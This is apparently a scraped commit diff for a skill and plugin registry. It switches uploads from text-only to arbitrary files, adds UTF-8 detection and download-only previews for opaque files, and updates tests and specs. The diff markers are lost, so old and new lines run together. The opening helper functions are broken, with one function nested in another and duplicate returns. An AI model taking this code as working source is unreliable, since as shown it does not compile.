const CANONICAL_TEXT_CONTENT_TYPES: Record<string, string> = {
md: "text/markdown",
mdx: "text/markdown",
txt: "text/plain",
json: "application/json",
json5: "application/json",
yaml: "application/yaml",
yml: "application/yaml",
toml: "application/toml",
js: "application/javascript",
cjs: "application/javascript",
mjs: "application/javascript",
jsx: "application/javascript",
ts: "application/typescript",
mts: "application/typescript",
cts: "application/typescript",
tsx: "application/typescript",
csv: "text/csv",
tsv: "text/tab-separated-values",
xml: "application/xml",
svg: "image/svg+xml",
};
export function isTextContentType(contentType: string) {
if (!contentType) return false;
const normalized = contentType.split(";", 1)[0]?.trim().toLowerCase() ?? "";
if (!normalized) return false;
if (normalized.startsWith("text/")) return true;
return TEXT_CONTENT_TYPE_SET.has(normalized);
}
export function guessTextContentType(path: string) {
const ext = path.trim().toLowerCase().split(".").at(-1) ?? "";
if (!ext || !TEXT_FILE_EXTENSION_SET.has(ext)) return undefined;
return CANONICAL_TEXT_CONTENT_TYPES[ext] ?? "text/plain";
}
export function normalizeTextContentType(path: string, contentType?: string | null) {
export function normalizeContentType(contentType?: string | null) {
const normalized = contentType?.split(";", 1)[0]?.trim().toLowerCase() ?? "";
const guessed = guessTextContentType(path);
if (!guessed) return normalized || undefined;
if (isTextContentType(normalized)) return normalized;
return guessed;
return normalized || undefined;
}
export function decodeUtf8Text(bytes: Uint8Array) {
const chunks: string[] = [];
const codeUnits: number[] = [];
const appendCodePoint = (codePoint: number) => {
if (codePoint <= 0xffff) {
codeUnits.push(codePoint);
} else {
const offset = codePoint - 0x10000;
codeUnits.push(0xd800 + (offset >> 10), 0xdc00 + (offset & 0x3ff));
}
if (codeUnits.length >= 8192) {
chunks.push(String.fromCharCode(...codeUnits));
codeUnits.length = 0;
}
};
for (let index = 0; index < bytes.length; index += 1) {
const first = bytes[index] ?? 0;
if (first <= 0x7f) {
appendCodePoint(first);
continue;
}
const second = bytes[index + 1];
if (first >= 0xc2 && first <= 0xdf) {
if (second === undefined || second < 0x80 || second > 0xbf) return null;
appendCodePoint(((first & 0x1f) << 6) | (second & 0x3f));
index += 1;
continue;
}
const third = bytes[index + 2];
if (first >= 0xe0 && first <= 0xef) {
const secondMin = first === 0xe0 ? 0xa0 : 0x80;
const secondMax = first === 0xed ? 0x9f : 0xbf;
if (
second === undefined ||
second < secondMin ||
second > secondMax ||
third === undefined ||
third < 0x80 ||
third > 0xbf
) {
return null;
}
appendCodePoint(((first & 0x0f) << 12) | ((second & 0x3f) << 6) | (third & 0x3f));
index += 2;
continue;
}
const fourth = bytes[index + 3];
if (first >= 0xf0 && first <= 0xf4) {
const secondMin = first === 0xf0 ? 0x90 : 0x80;
const secondMax = first === 0xf4 ? 0x8f : 0xbf;
if (
second === undefined ||
second < secondMin ||
second > secondMax ||
third === undefined ||
third < 0x80 ||
third > 0xbf ||
fourth === undefined ||
fourth < 0x80 ||
fourth > 0xbf
) {
return null;
}
appendCodePoint(
((first & 0x07) << 18) | ((second & 0x3f) << 12) | ((third & 0x3f) << 6) | (fourth & 0x3f),
);
index += 3;
continue;
}
return null;
}
if (codeUnits.length > 0) chunks.push(String.fromCharCode(...codeUnits));
const text = chunks.join("");
return text.charCodeAt(0) === 0xfeff ? text.slice(1) : text;
}
scripts/local-clawscan-dry-run.ts
+7 -6
View File
@@ -1,5 +1,6 @@
import { readFile, readdir, stat } from "node:fs/promises";
import { basename, join, relative, resolve, sep } from "node:path";
import { decodeUtf8Text } from "clawhub-schema";
import ignore from "ignore";
import mime from "mime";
import { runStaticModerationScan, type StaticScanResult } from "../convex/lib/moderationEngine";
@@ -21,7 +22,6 @@ import {
import {
getFrontmatterMetadata,
getFrontmatterValue,
isTextFile,
parseClawdisMetadata,
parseFrontmatter,
} from "../convex/lib/skills";
@@ -224,9 +224,7 @@ async function buildPluginArtifact(source: string, now: () => number) {
if (!findFile(files, ["openclaw.plugin.json"])) throw new Error("openclaw.plugin.json required");
const textFiles = decodeTextFiles(
files.filter((file) => isTextFile(file.path, file.contentType)),
);
const textFiles = decodeTextFiles(files);
const readme =
findFile(files, ["readme.md", "readme.mdx", "readme.markdown"]) ??
findFile(files, ["package.json"]);
@@ -353,7 +351,7 @@ function verdictToStatus(verdict: LlmEvalResponse["verdict"]): LocalLlmAnalysis[
async function listTextFiles(root: string) {
const files = await listPackageFiles(root);
return files.filter((file) => isTextFile(file.path, file.contentType));
return files.filter((file) => decodeUtf8Text(file.bytes) !== null);
}
async function listPackageFiles(root: string) {
@@ -401,7 +399,10 @@ async function addIgnoreFile(ig: ReturnType<typeof ignore>, path: string) {
}
function decodeTextFiles(files: LocalFile[]): TextFile[] {
return files.map((file) => ({ path: file.path, content: textDecoder.decode(file.bytes) }));
return files.flatMap((file) => {
const content = decodeUtf8Text(file.bytes);
return content === null ? [] : [{ path: file.path, content }];
});
}
function findFile(files: LocalFile[], names: string[]) {
specs/github-import.md
+3 -3
View File
@@ -42,7 +42,7 @@ Non-goal (v1): private repos (no OAuth/PAT support).
Related:
- `docs/skill-format.md` (what counts as a skill; text-only limits)
- `docs/skill-format.md` (what counts as a skill; artifact limits)
- `docs/api.md` / `docs/http-api.md` (REST patterns + auth)
## UX
@@ -176,7 +176,7 @@ Hard caps:
UI affordances:
- “Select referenced”
- “Select all text”
- “Select all”
- “Clear”
- Search/filter by path
@@ -184,7 +184,7 @@ UI affordances:
Server publishes using existing pipeline:
- Text-only enforced (see `docs/skill-format.md`).
- All bounded regular files are preserved (see `docs/skill-format.md`).
- Total ≤ 50MB (selected set).
- Must include the detected skill file.
specs/spec.md
+2 -2
View File
@@ -118,11 +118,11 @@ From SKILL.md frontmatter + AgentSkills + Clawdis extensions:
## Upload flow (50MB per version)
1. Client requests upload session.
2. Client uploads each file via Convex upload URLs (no binaries, text only).
2. Client uploads each bounded regular file via Convex upload URLs.
3. Client submits metadata + file list + changelog + version + tags.
4. Server validates:
- total size ≤ 50MB
- file extensions/text content
- path and size limits
- SKILL.md exists and frontmatter parseable
- version uniqueness
- GitHub account age ≥ 14 days
src/__tests__/skills-publish-route.test.tsx
+33 -12
View File
@@ -534,7 +534,9 @@ describe("Upload route", () => {
expect(Object.hasOwn(args ?? {}, "topics")).toBe(false);
});
it("blocks non-text folder uploads (png)", async () => {
it("publishes a mixed skill artifact containing Terraform and opaque files", async () => {
generateUploadUrl.mockResolvedValue("https://upload.local");
publishVersion.mockResolvedValue({ status: "pending" });
render(<Upload />);
fireEvent.change(screen.getByPlaceholderText("skill-name"), {
target: { value: "cool-skill" },
@@ -549,24 +551,43 @@ describe("Upload route", () => {
target: { value: "latest" },
});
const skill = new File(["hello"], "SKILL.md", { type: "text/markdown" });
const png = new File([new Uint8Array([137, 80, 78, 71]).buffer], "screenshot.png", {
type: "image/png",
const skill = new File(["# Terraform skill\n"], "SKILL.md", { type: "text/markdown" });
const terraform = new File(['resource "null_resource" "demo" {}\n'], "main.tf", { type: "" });
const variables = new File(['region = "us-east-1"\n'], "terraform.tfvars", { type: "" });
const opaque = new File([Uint8Array.from([0, 1, 2, 255]).buffer], "assets/payload.bin", {
type: "application/octet-stream",
});
const input = screen.getByTestId("upload-input") as HTMLInputElement;
fireEvent.change(input, { target: { files: [skill, png] } });
fireEvent.change(input, { target: { files: [skill, terraform, variables, opaque] } });
fireEvent.click(
screen.getByRole("checkbox", {
name: /i have the rights to publish this skill under mit-0/i,
}),
);
expect(await screen.findByText("screenshot.png")).toBeTruthy();
expect(
(await screen.findAllByText(/Remove unsupported files: screenshot\.png/i)).length,
).toBeGreaterThan(0);
expect(screen.getByText("screenshot.png")).toBeTruthy();
expect(await screen.findByText("main.tf")).toBeTruthy();
expect(screen.getByText("terraform.tfvars")).toBeTruthy();
expect(screen.getByText("assets/payload.bin")).toBeTruthy();
expect(screen.queryByText(/unsupported/i)).toBeNull();
fireEvent.click(screen.getByRole("button", { name: "Remove unsupported" }));
fireEvent.click(screen.getByRole("button", { name: /publish skill/i }));
await waitFor(() => {
expect(screen.queryByText("screenshot.png")).toBeNull();
expect(publishVersion).toHaveBeenCalled();
});
const publishArgs = publishVersion.mock.calls.at(-1)?.[0] as {
files: Array<{ path: string; contentType?: string }>;
};
expect(publishArgs.files.map((file) => file.path)).toEqual([
"SKILL.md",
"main.tf",
"terraform.tfvars",
"assets/payload.bin",
]);
expect(publishArgs.files.find((file) => file.path === "main.tf")?.contentType).toBe("");
expect(publishArgs.files.find((file) => file.path === "assets/payload.bin")?.contentType).toBe(
"application/octet-stream",
);
});
it("surfaces file validation next to the upload input", async () => {
src/components/PackageSourceChooser.tsx
+1 -1
View File
@@ -1,7 +1,7 @@
import { Package, Upload } from "lucide-react";
import { type DragEvent, useRef, useState } from "react";
import { expandDroppedItems } from "../lib/uploadFiles";
import { formatBytes } from "../routes/upload/-utils";
import { formatBytes } from "../lib/uploadUtils";
import { Badge } from "./ui/badge";
import { Button } from "./ui/button";
import { Card } from "./ui/card";
src/components/SecurityAuditPage.tsx
+1 -1
View File
@@ -728,7 +728,7 @@ function buildArtifactFileUrl(entity: EntityRef, path: string) {
entity.kind === "skill"
? `/api/v1/skills/${encodeURIComponent(entity.name)}/file`
: `/api/v1/packages/${encodeURIComponent(entity.name)}/file`;
const params = new URLSearchParams({ path });
const params = new URLSearchParams({ path, preview: "1" });
if (entity.version) params.set("version", entity.version);
const relativePath = `${base}?${params.toString()}`;
const convexClientBaseUrl = resolveAbsoluteBaseUrl(
src/components/SkillDetailPage.tsx
+1
View File
@@ -947,6 +947,7 @@ export function SkillDetailPage({
hasSkillCard={hasSkillCard}
latestFiles={latestFiles}
latestVersionId={latestVersion?._id ?? null}
latestVersion={latestVersion?.version ?? null}
canDeleteVersions={canDeleteSkillVersions}
skill={skill as Doc<"skills">}
ownerHandle={ownerHandle}
src/components/SkillDetailTabs.tsx
+9 -1
View File
@@ -90,6 +90,7 @@ type SkillDetailTabsProps = {
hasSkillCard: boolean;
latestFiles: SkillFile[];
latestVersionId: Id<"skillVersions"> | null;
latestVersion?: string | null;
canDeleteVersions?: boolean;
skill: Doc<"skills">;
ownerHandle?: string | null;
@@ -115,6 +116,7 @@ export function SkillDetailTabs({
hasSkillCard,
latestFiles,
latestVersionId,
latestVersion,
canDeleteVersions = false,
skill,
ownerHandle,
@@ -335,7 +337,13 @@ export function SkillDetailTabs({
{showArchiveTabs && activeTab === "files" ? (
<div role="tabpanel" id="skill-tabpanel-files" aria-labelledby="skill-tab-files">
<Suspense fallback={<div className="tab-body stat">Loading file viewer...</div>}>
<SkillFilesPanel versionId={latestVersionId} latestFiles={latestFiles} />
<SkillFilesPanel
versionId={latestVersionId}
version={latestVersion ?? null}
latestFiles={latestFiles}
skillSlug={skill.slug}
ownerHandle={ownerHandle}
/>
</Suspense>
</div>
) : null}
src/components/SkillDiffCard.test.tsx
+25 -4
View File
@@ -5,12 +5,12 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
import type { Doc, Id } from "../../convex/_generated/dataModel";
import { SkillDiffCard } from "./SkillDiffCard";
const getFileTextMock = vi.fn();
const getFilePreviewMock = vi.fn();
let diffEditorMounts = 0;
let diffEditorUnmounts = 0;
vi.mock("convex/react", () => ({
useAction: () => getFileTextMock,
useAction: () => getFilePreviewMock,
}));
vi.mock("../lib/monacoLoader", () => ({
@@ -87,8 +87,8 @@ const skill = {
describe("SkillDiffCard", () => {
beforeEach(() => {
getFileTextMock.mockReset();
getFileTextMock.mockResolvedValue({ text: "content" });
getFilePreviewMock.mockReset();
getFilePreviewMock.mockResolvedValue({ text: "content" });
diffEditorMounts = 0;
diffEditorUnmounts = 0;
});
@@ -164,4 +164,25 @@ describe("SkillDiffCard", () => {
expect(diffEditorMounts).toBe(1);
expect(diffEditorUnmounts).toBe(0);
});
it("shows a download-only state when either file cannot be previewed as text", async () => {
installMatchMedia(false);
getFilePreviewMock.mockImplementation(({ versionId }: { versionId: string }) =>
Promise.resolve({
text: versionId === "skillVersions:1" ? null : "<svg>changed</svg>",
}),
);
const leftVersion = makeVersion("skillVersions:1", "1.0.1");
const rightVersion = makeVersion("skillVersions:2", "1.0.2");
leftVersion.files = [{ path: "diagram.svg", size: 18 }] as typeof leftVersion.files;
rightVersion.files = [{ path: "diagram.svg", size: 22 }] as typeof rightVersion.files;
render(<SkillDiffCard skill={skill} versions={[leftVersion, rightVersion]} />);
expect(
await screen.findByText(/base file is download-only and cannot be compared as text/i),
).toBeTruthy();
expect(screen.queryByTestId("diff-editor")).toBeNull();
});
});
src/components/SkillDiffCard.tsx
+35 -7
View File
@@ -49,6 +49,11 @@ type SizeWarning = {
path: string;
};
type PreviewWarning = {
side: FileSide;
path: string;
};
const EMPTY_DIFF_TEXT = "";
const COMPACT_DIFF_THRESHOLD = 768;
const EMPTY_DIFF_STATS = { additions: 0, deletions: 0, hunks: 0 };
@@ -140,7 +145,7 @@ function DiffViewerLoading() {
}
export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCardProps) {
const getFileText = useAction(api.skills.getFileText);
const getFilePreview = useAction(api.skills.getFilePreview);
const monaco = useMonaco();
const { ref: containerRef, isCompact } = useCompactDiffLayout();
const [viewMode, setViewMode] = useState<"split" | "inline">(getDefaultViewMode);
@@ -154,7 +159,8 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
const [monacoReady, setMonacoReady] = useState(false);
const [monacoError, setMonacoError] = useState<string | null>(null);
const [sizeWarning, setSizeWarning] = useState<SizeWarning | null>(null);
const cacheRef = useRef(new Map<string, string>());
const [previewWarning, setPreviewWarning] = useState<PreviewWarning | null>(null);
const cacheRef = useRef(new Map<string, string | null>());
const userSelectedViewModeRef = useRef(false);
const diffEditorRef = useRef<MonacoDiffEditor | null>(null);
const diffUpdateDisposableRef = useRef<{ dispose: () => void } | null>(null);
@@ -319,11 +325,11 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
useEffect(() => {
let cancelled = false;
async function loadText(versionId: Id<"skillVersions">, path: string) {
async function loadPreview(versionId: Id<"skillVersions">, path: string) {
const cacheKey = `${versionId}:${path}`;
const cached = cacheRef.current.get(cacheKey);
if (cached !== undefined) return cached;
const result = await getFileText({ versionId, path });
const result = await getFilePreview({ versionId, path });
cacheRef.current.set(cacheKey, result.text);
return result.text;
}
@@ -332,12 +338,17 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
if (!selectedItem || !leftVersionId || !rightVersionId) {
setLeftText(EMPTY_DIFF_TEXT);
setRightText(EMPTY_DIFF_TEXT);
setError(null);
setSizeWarning(null);
setPreviewWarning(null);
setIsLoading(false);
return;
}
setIsLoading(true);
setError(null);
setSizeWarning(null);
setPreviewWarning(null);
const leftFile = selectedItem.left;
const rightFile = selectedItem.right;
@@ -362,10 +373,22 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
try {
const [nextLeft, nextRight] = await Promise.all([
leftFile ? loadText(leftVersionId, leftFile.path) : Promise.resolve(""),
rightFile ? loadText(rightVersionId, rightFile.path) : Promise.resolve(""),
leftFile ? loadPreview(leftVersionId, leftFile.path) : Promise.resolve(""),
rightFile ? loadPreview(rightVersionId, rightFile.path) : Promise.resolve(""),
]);
if (cancelled) return;
const unavailable =
leftFile && nextLeft === null
? { side: "left" as const, path: leftFile.path }
: rightFile && nextRight === null
? { side: "right" as const, path: rightFile.path }
: null;
if (unavailable) {
setPreviewWarning(unavailable);
setLeftText(EMPTY_DIFF_TEXT);
setRightText(EMPTY_DIFF_TEXT);
return;
}
setLeftText(nextLeft ?? EMPTY_DIFF_TEXT);
setRightText(nextRight ?? EMPTY_DIFF_TEXT);
} catch (err) {
@@ -381,7 +404,7 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
return () => {
cancelled = true;
};
}, [getFileText, leftVersionId, rightVersionId, selectedItem]);
}, [getFilePreview, leftVersionId, rightVersionId, selectedItem]);
useEffect(() => {
let cancelled = false;
@@ -632,6 +655,11 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
<div className="diff-view">
{error ? (
<div className="diff-empty">{error}</div>
) : previewWarning ? (
<div className="diff-empty">
{previewWarning.side === "left" ? "Base" : "Target"} file is download-only and cannot
be compared as text: {previewWarning.path}
</div>
) : sizeWarning ? (
<div className="diff-empty">
{sizeWarning.side === "left" ? "Left" : "Right"} file exceeds 200KB:{" "}
src/components/SkillFilesPanel.test.tsx
+100 -15
View File
@@ -3,10 +3,10 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { Doc, Id } from "../../convex/_generated/dataModel";
import { SkillFilesPanel } from "./SkillFilesPanel";
const getFileTextMock = vi.fn();
const getFilePreviewMock = vi.fn();
vi.mock("convex/react", () => ({
useAction: () => getFileTextMock,
useAction: () => getFilePreviewMock,
}));
type SkillFile = Doc<"skillVersions">["files"][number];
@@ -17,8 +17,8 @@ function makeFile(path: string, size: number): SkillFile {
describe("SkillFilesPanel", () => {
beforeEach(() => {
getFileTextMock.mockReset();
getFileTextMock.mockResolvedValue({
getFilePreviewMock.mockReset();
getFilePreviewMock.mockResolvedValue({
text: "",
size: 0,
sha256: "0".repeat(64),
@@ -30,7 +30,7 @@ describe("SkillFilesPanel", () => {
});
it("caches loaded files and avoids duplicate fetches", async () => {
getFileTextMock.mockResolvedValue({
getFilePreviewMock.mockResolvedValue({
text: "echo hello",
size: 10,
sha256: "a".repeat(64),
@@ -39,7 +39,9 @@ describe("SkillFilesPanel", () => {
render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version={null}
latestFiles={[makeFile("scripts/run.sh", 10)]}
skillSlug="demo"
/>,
);
@@ -51,14 +53,18 @@ describe("SkillFilesPanel", () => {
fireEvent.click(fileButton);
await waitFor(() => {
expect(getFileTextMock).toHaveBeenCalledTimes(1);
expect(getFilePreviewMock).toHaveBeenCalledTimes(1);
});
});
it("shows a loading skeleton while fetching uncached file content", () => {
getFileTextMock.mockImplementation(
getFilePreviewMock.mockImplementation(
() =>
new Promise<{ text: string; size: number; sha256: string }>(() => {
new Promise<{
text: string | null;
size: number;
sha256: string;
}>(() => {
/* never resolves */
}),
);
@@ -66,7 +72,9 @@ describe("SkillFilesPanel", () => {
const { container } = render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version={null}
latestFiles={[makeFile("scripts/run.sh", 10)]}
skillSlug="demo"
/>,
);
@@ -78,7 +86,7 @@ describe("SkillFilesPanel", () => {
});
it("clears the loading min-height after file content resolves", async () => {
getFileTextMock.mockResolvedValue({
getFilePreviewMock.mockResolvedValue({
text: "echo hello",
size: 10,
sha256: "a".repeat(64),
@@ -87,7 +95,9 @@ describe("SkillFilesPanel", () => {
const { container } = render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version={null}
latestFiles={[makeFile("scripts/run.sh", 10)]}
skillSlug="demo"
/>,
);
@@ -102,7 +112,9 @@ describe("SkillFilesPanel", () => {
const { container } = render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version={null}
latestFiles={[makeFile("empty.txt", 0)]}
skillSlug="demo"
/>,
);
@@ -114,15 +126,73 @@ describe("SkillFilesPanel", () => {
expect(container.querySelector("pre.file-viewer-code")?.textContent).toBe("");
});
it("offers opaque files as download-only and caches the result", async () => {
getFilePreviewMock.mockResolvedValue({
text: null,
size: 4,
sha256: "d".repeat(64),
});
render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version="1.2.3"
latestFiles={[makeFile("assets/payload.bin", 4)]}
skillSlug="demo"
ownerHandle="acme"
/>,
);
const fileButton = screen.getByRole("button", { name: /assets\/payload\.bin/i });
fireEvent.click(fileButton);
await screen.findByText(/available to download but cannot be previewed as text/i);
expect(screen.getByRole("link", { name: "Download payload.bin" }).getAttribute("href")).toBe(
"/api/v1/skills/demo/file?path=assets%2Fpayload.bin&ownerHandle=acme&version=1.2.3",
);
fireEvent.click(fileButton);
expect(getFilePreviewMock).toHaveBeenCalledTimes(1);
});
it("encodes URL syntax in literal artifact download paths", async () => {
getFilePreviewMock.mockResolvedValue({
text: null,
size: 4,
sha256: "d".repeat(64),
});
render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version="1.2.3"
latestFiles={[makeFile("docs/spec#draft?.bin", 4)]}
skillSlug="demo"
ownerHandle="acme"
/>,
);
fireEvent.click(screen.getByRole("button", { name: /docs\/spec#draft\?\.bin/i }));
const downloadLink = await screen.findByRole("link", { name: "Download spec#draft?.bin" });
expect(downloadLink.getAttribute("href")).toBe(
"/api/v1/skills/demo/file?path=docs%2Fspec%23draft%3F.bin&ownerHandle=acme&version=1.2.3",
);
});
it("ignores stale responses when newer file selection is active", async () => {
const resolvers: Record<
string,
(value: { text: string; size: number; sha256: string }) => void
(value: { text: string | null; size: number; sha256: string }) => void
> = {};
getFileTextMock.mockImplementation(
getFilePreviewMock.mockImplementation(
({ path }: { path: string }) =>
new Promise<{ text: string; size: number; sha256: string }>((resolve) => {
new Promise<{
text: string | null;
size: number;
sha256: string;
}>((resolve) => {
resolvers[path] = resolve;
}),
);
@@ -130,7 +200,9 @@ describe("SkillFilesPanel", () => {
render(
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version={null}
latestFiles={[makeFile("a.txt", 5), makeFile("b.txt", 6)]}
skillSlug="demo"
/>,
);
@@ -138,8 +210,16 @@ describe("SkillFilesPanel", () => {
fireEvent.click(screen.getByRole("button", { name: "Back to file list" }));
fireEvent.click(screen.getByRole("button", { name: /b\.txt/i }));
resolvers["a.txt"]({ text: "alpha", size: 5, sha256: "b".repeat(64) });
resolvers["b.txt"]({ text: "beta", size: 6, sha256: "c".repeat(64) });
resolvers["a.txt"]({
text: "alpha",
size: 5,
sha256: "b".repeat(64),
});
resolvers["b.txt"]({
text: "beta",
size: 6,
sha256: "c".repeat(64),
});
await screen.findByText("beta");
expect(screen.queryByText("alpha")).toBeNull();
@@ -161,7 +241,12 @@ describe("SkillFilesPanel", () => {
makeFile(`folder/file-${index + 1}.md`, index + 1),
);
render(
<SkillFilesPanel versionId={"skillVersions:1" as Id<"skillVersions">} latestFiles={files} />,
<SkillFilesPanel
versionId={"skillVersions:1" as Id<"skillVersions">}
version={null}
latestFiles={files}
skillSlug="demo"
/>,
);
expect(screen.getByRole("button", { name: /folder\/file-10\.md/i })).toBeTruthy();
src/components/SkillFilesPanel.tsx
+40 -7
View File
@@ -1,9 +1,10 @@
import { useAction } from "convex/react";
import { ArrowLeft, FileText, Fingerprint, Folder } from "lucide-react";
import { ArrowLeft, Download, FileText, Fingerprint, Folder } from "lucide-react";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import type { CSSProperties, ReactNode } from "react";
import { api } from "../../convex/_generated/api";
import type { Doc, Id } from "../../convex/_generated/dataModel";
import { buildSkillFileHref } from "../lib/skillReadmeLinks";
import { CodeWrapToggleButton, useCodeWrapToggle } from "./CodeWrapToggle";
import { formatBytes } from "./skillDetailUtils";
@@ -11,7 +12,10 @@ type SkillFile = Doc<"skillVersions">["files"][number];
type SkillFilesPanelProps = {
versionId: Id<"skillVersions"> | null;
version: string | null;
latestFiles: SkillFile[];
skillSlug: string;
ownerHandle?: string | null;
};
type FileTreeFileNode = {
@@ -110,8 +114,14 @@ function FileViewerSkeleton() {
);
}
export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps) {
const getFileText = useAction(api.skills.getFileText);
export function SkillFilesPanel({
versionId,
version,
latestFiles,
skillSlug,
ownerHandle,
}: SkillFilesPanelProps) {
const getFilePreview = useAction(api.skills.getFilePreview);
const [selectedPath, setSelectedPath] = useState<string | null>(null);
const [fileContent, setFileContent] = useState<string | null>(null);
const [fileMeta, setFileMeta] = useState<{ size: number; sha256: string } | null>(null);
@@ -120,7 +130,9 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
const isMounted = useRef(true);
const requestId = useRef(0);
const fileListRef = useRef<HTMLDivElement>(null);
const fileCache = useRef(new Map<string, { text: string; size: number; sha256: string }>());
const fileCache = useRef(
new Map<string, { text: string | null; size: number; sha256: string }>(),
);
const [viewerMinHeight, setViewerMinHeight] = useState<number | undefined>();
const { preRef, isWrapped, canWrap, toggleWrap } = useCodeWrapToggle(fileContent ?? "");
@@ -134,6 +146,9 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
const fileTree = useMemo(() => buildFileTree(latestFiles), [latestFiles]);
const selectedFileName = selectedPath?.split("/").pop() ?? selectedPath ?? "";
const downloadUrl = selectedPath
? buildSkillFileHref(selectedPath, skillSlug, ownerHandle, version)
: null;
useEffect(() => {
requestId.current += 1;
@@ -151,7 +166,7 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
const handleSelect = useCallback(
(path: string) => {
if (!versionId) return;
if (selectedPath === path && (isLoading || fileContent !== null)) return;
if (selectedPath === path && (isLoading || fileMeta !== null)) return;
const cacheKey = `${versionId}:${path}`;
const cached = fileCache.current.get(cacheKey);
@@ -173,7 +188,7 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
setFileContent(null);
setFileMeta(null);
setIsLoading(true);
void getFileText({ versionId, path })
void getFilePreview({ versionId, path })
.then((data) => {
if (!isMounted.current) return;
if (requestId.current !== current) return;
@@ -191,7 +206,7 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
setViewerMinHeight(undefined);
});
},
[fileContent, getFileText, isLoading, selectedPath, versionId],
[fileMeta, getFilePreview, isLoading, selectedPath, versionId],
);
const handleBack = () => {
@@ -273,6 +288,17 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
) : null}
</div>
<div className="file-viewer-header-end">
{downloadUrl ? (
<a
className="file-viewer-download"
href={downloadUrl}
download={selectedFileName}
aria-label={`Download ${selectedFileName}`}
title={`Download ${selectedFileName}`}
>
<Download size={15} aria-hidden="true" />
</a>
) : null}
{canWrap ? (
<span className="markdown-code-block-actions">
<CodeWrapToggleButton isWrapped={isWrapped} onToggle={toggleWrap} />
@@ -291,6 +317,13 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps
<pre ref={preRef} className="file-viewer-code" data-wrap={isWrapped}>
{fileContent}
</pre>
) : downloadUrl ? (
<div className="file-viewer-empty">
<Download className="file-viewer-empty-icon" size={22} aria-hidden="true" />
<p className="file-viewer-empty-text">
This file is available to download but cannot be previewed as text.
</p>
</div>
) : null}
</div>
{isViewerLoading ? (
src/components/SkillSecurityScanResults.test.tsx
+42
View File
@@ -520,6 +520,48 @@ describe("SecurityScanResults static guidance", () => {
).toEqual(["Overview", "SkillSpector", "VirusTotal"]);
});
it("loads plugin SkillSpector snippets through the package text-preview contract", async () => {
const fetchMock = vi
.spyOn(globalThis, "fetch")
.mockResolvedValue(new Response("first\nmatched line\nthird\n"));
const analysis: SkillSpectorAnalysis = {
...skillSpectorAnalysis,
issues: [
{
...skillSpectorAnalysis.issues[0],
file: "main.tf",
startLine: 2,
endLine: 2,
codeSnippet: undefined,
},
],
};
render(
<SecurityAuditPage
entity={{
kind: "plugin",
title: "Terraform Plugin",
name: "terraform-plugin",
version: "2.0.0",
detailPath: "/plugins/terraform-plugin",
}}
skillSpectorAnalysis={analysis}
/>,
);
await waitFor(() => expect(fetchMock).toHaveBeenCalledTimes(1));
const requestInput = fetchMock.mock.calls[0]?.[0];
expect(typeof requestInput).toBe("string");
if (typeof requestInput !== "string") throw new Error("Expected a string request URL");
const requestUrl = new URL(requestInput, "https://clawhub.ai");
expect(requestUrl.pathname).toBe("/api/v1/packages/terraform-plugin/file");
expect(requestUrl.searchParams.get("path")).toBe("main.tf");
expect(requestUrl.searchParams.get("version")).toBe("2.0.0");
expect(requestUrl.searchParams.get("preview")).toBe("1");
expect(await screen.findByText("matched line")).toBeTruthy();
});
it("uses ClawScan only for the security audit outcome", () => {
const { container } = render(
<SecurityAuditPage
src/lib/packageApi.test.ts
+13
View File
@@ -152,6 +152,7 @@ describe("fetchPackages", () => {
const url = new URL(requestUrl);
expect(url.searchParams.get("path")).toBe("README.md");
expect(url.searchParams.get("version")).toBe("1.0.0");
expect(url.searchParams.get("preview")).toBe("1");
});
it("returns an empty package detail payload on 404", async () => {
@@ -515,6 +516,18 @@ describe("fetchPackages", () => {
expect(url.pathname).toBe("/api/v1/packages/example-ai-plugin/file");
expect(url.searchParams.get("path")).toBe("skills/research/SKILL.md");
expect(url.searchParams.get("version")).toBe("1.2.3");
expect(url.searchParams.get("preview")).toBe("1");
});
it("returns null when a package file cannot be previewed as text", async () => {
vi.stubEnv("VITE_CONVEX_URL", "https://registry.example");
vi.spyOn(globalThis, "fetch").mockResolvedValue(
new Response("File cannot be previewed as text", { status: 415 }),
);
await expect(
fetchPackageFile("example-ai-plugin", "assets/payload.bin", "1.2.3"),
).resolves.toBeNull();
});
it("fetches scoped package version history with pagination", async () => {
src/lib/packageApi.ts
+14 -2
View File
@@ -536,10 +536,16 @@ export async function fetchPackageReadme(
): Promise<string | null> {
const url = await packageApiUrl(`${ApiRoutes.packages}/${encodeURIComponent(name)}/file`);
url.searchParams.set("path", "README.md");
url.searchParams.set("preview", "1");
if (version) url.searchParams.set("version", version);
const response = await packageFetch(url, "text/plain");
if (response.ok) return await response.text();
if (response.status === 403 || response.status === 404 || response.status === 423) {
if (
response.status === 403 ||
response.status === 404 ||
response.status === 415 ||
response.status === 423
) {
return null;
}
throw await createPackageApiError(response);
@@ -552,10 +558,16 @@ export async function fetchPackageFile(
): Promise<string | null> {
const url = await packageApiUrl(`${ApiRoutes.packages}/${encodeURIComponent(name)}/file`);
url.searchParams.set("path", path);
